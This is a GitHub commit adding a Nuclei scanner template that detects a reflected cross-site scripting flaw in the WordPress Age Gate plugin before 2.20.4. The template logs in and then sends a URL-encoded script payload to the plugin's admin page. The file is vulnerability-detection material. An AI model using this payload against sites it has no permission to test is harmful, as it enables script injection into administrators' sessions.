Merge pull request #5452 from projectdiscovery/age-gate-xss

Create age-gate-xss.yaml
patch-1
Prince Chaddha 2022-09-23 16:53:46 +05:30 committed by GitHub
commit 3d49a87dc9
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 44 additions and 0 deletions

View File

@ -0,0 +1,44 @@
id: age-gate-xss
info:
name: Age Gate < 2.20.4 - Cross-Site Scripting
author: akincibor,daffainfo
severity: medium
description: |
The plugin does not escape some URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting.
reference:
- https://wpscan.com/vulnerability/a13148fe-ffc9-4003-a44d-652624ba5535
- https://wordpress.org/plugins/age-gate/
tags: wordpress,wp-plugin,wp,xss,authenticated,age-gate
requests:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
- |
GET /wp-admin/admin.php?page=age-gate&a%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"><script>alert(document.domain)</script>'
- 'Age Gate Restriction Settings'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200